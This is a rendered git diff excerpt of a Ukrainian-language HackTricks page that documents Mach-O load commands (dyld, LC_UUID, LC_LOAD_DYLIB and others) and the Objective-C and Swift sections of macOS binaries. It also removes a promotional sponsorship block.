Містить **шлях до виконуваного файлу динамічного зв'язувача**, який відображає спільні бібліотеки в адресний простір процесу. **Значення завжди встановлено на `/usr/lib/dyld`**. Важливо зауважити, що в macOS відображення dylib відбувається в **режимі користувача**, а не в режимі ядра.
|
||||
|
||||
### **`LC_IDENT`**
|
||||
|
||||
Застарілий, але якщо налаштовано на генерацію дампів при паніці, створюється дамп ядра Mach-O, і версія ядра встановлюється в команді `LC_IDENT`.
|
||||
|
||||
### **`LC_UUID`**
|
||||
|
||||
Випадковий UUID. Він корисний для чого завгодно, але XNU кешує його разом з іншою інформацією про процес. Він може бути використаний у звітах про аварії.
|
||||
|
||||
### **`LC_DYLD_ENVIRONMENT`**
|
||||
|
||||
Дозволяє вказати змінні середовища для dyld перед виконанням процесу. Це може бути дуже небезпечно, оскільки це може дозволити виконати довільний код всередині процесу, тому ця команда завантаження використовується лише в dyld, побудованому з `#define SUPPORT_LC_DYLD_ENVIRONMENT` та додатково обмежує обробку лише змінних у формі `DYLD_..._PATH`, що вказують шляхи завантаження.
|
||||
|
||||
### **`LC_LOAD_DYLIB`**
|
||||
|
||||
Ця команда завантаження описує залежність **динамічної** **бібліотеки**, яка **вказує** **завантажувачу** (dyld) **завантажити та зв'язати цю бібліотеку**. Існує команда завантаження LC\_LOAD\_DYLIB **для кожної бібліотеки**, яку потребує бінарний файл Mach-O.
|
||||
Ця команда завантаження описує **залежність динамічної бібліотеки**, яка **вказує** **завантажувачу** (dyld) **завантажити та зв'язати цю бібліотеку**. Існує команда завантаження `LC_LOAD_DYLIB` **для кожної бібліотеки**, яку потребує бінарний файл Mach-O.
|
||||
|
||||
* Ця команда завантаження є структурою типу **`dylib_command`** (яка містить структуру dylib, що описує фактичну залежну динамічну бібліотеку):
|
||||
```objectivec
|
||||
|
@ -250,7 +342,7 @@ uint32_t current_version; /* library's current version number */
|
|||
uint32_t compatibility_version; /* library's compatibility vers number*/
|
||||
};
|
||||
```
|
||||
![](<../../../.gitbook/assets/image (558).png>)
|
||||
![](<../../../.gitbook/assets/image (486).png>)
|
||||
|
||||
Ви також можете отримати цю інформацію з командного рядка за допомогою:
|
||||
```bash
|
||||
|
@ -273,7 +365,7 @@ Mach-O бінарний файл може містити один або **бі
|
|||
|
||||
## **Дані Mach-O**
|
||||
|
||||
У основі файлу знаходиться область даних, яка складається з кількох сегментів, які визначені в області команд завантаження. **У кожному сегменті можуть міститися різні секції даних**, причому кожна секція **містить код або дані**, що специфічні для типу.
|
||||
У основі файлу знаходиться область даних, яка складається з кількох сегментів, які визначені в області команд завантаження. **В кожному сегменті можуть міститися різні секції даних**, причому кожна секція **містить код або дані**, що специфічні для типу.
|
||||
|
||||
{% hint style="success" %}
|
||||
Дані - це в основному частина, що містить всю **інформацію**, яка завантажується командами завантаження **LC\_SEGMENTS\_64**
|
||||
|
@ -289,22 +381,30 @@ Mach-O бінарний файл може містити один або **бі
|
|||
|
||||
Для перевірки цього можна використовувати інструмент [**Mach-O View**](https://sourceforge.net/projects/machoview/):
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (1) (4).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1120).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Або з командного рядка:
|
||||
```bash
|
||||
size -m /bin/ls
|
||||
```
|
||||
<details>
|
||||
## Загальні розділи Objective-C
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
У сегменті `__TEXT` (r-x):
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
* `__objc_classname`: Імена класів (рядки)
|
||||
* `__objc_methname`: Назви методів (рядки)
|
||||
* `__objc_methtype`: Типи методів (рядки)
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію рекламовану на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
У сегменті `__DATA` (rw-):
|
||||
|
||||
</details>
|
||||
* `__objc_classlist`: Вказівники на всі класи Objective-C
|
||||
* `__objc_nlclslist`: Вказівники на неліниві класи Objective-C
|
||||
* `__objc_catlist`: Вказівник на категорії
|
||||
* `__objc_nlcatlist`: Вказівник на неліниві категорії
|
||||
* `__objc_protolist`: Список протоколів
|
||||
* `__objc_const`: Константні дані
|
||||
* `__objc_imageinfo`, `__objc_selrefs`, `objc__protorefs`...
|
||||
|
||||
## Swift
|
||||
|
||||
* `_swift_typeref`, `_swift3_capture`, `_swift3_assocty`, `_swift3_types, _swift3_proto`, `_swift3_fieldmd`, `_swift3_builtin`, `_swift3_reflstr`
|
||||
|
|
Some files were not shown because too many files have changed in this diff Show more
Loading…
Reference in a new issue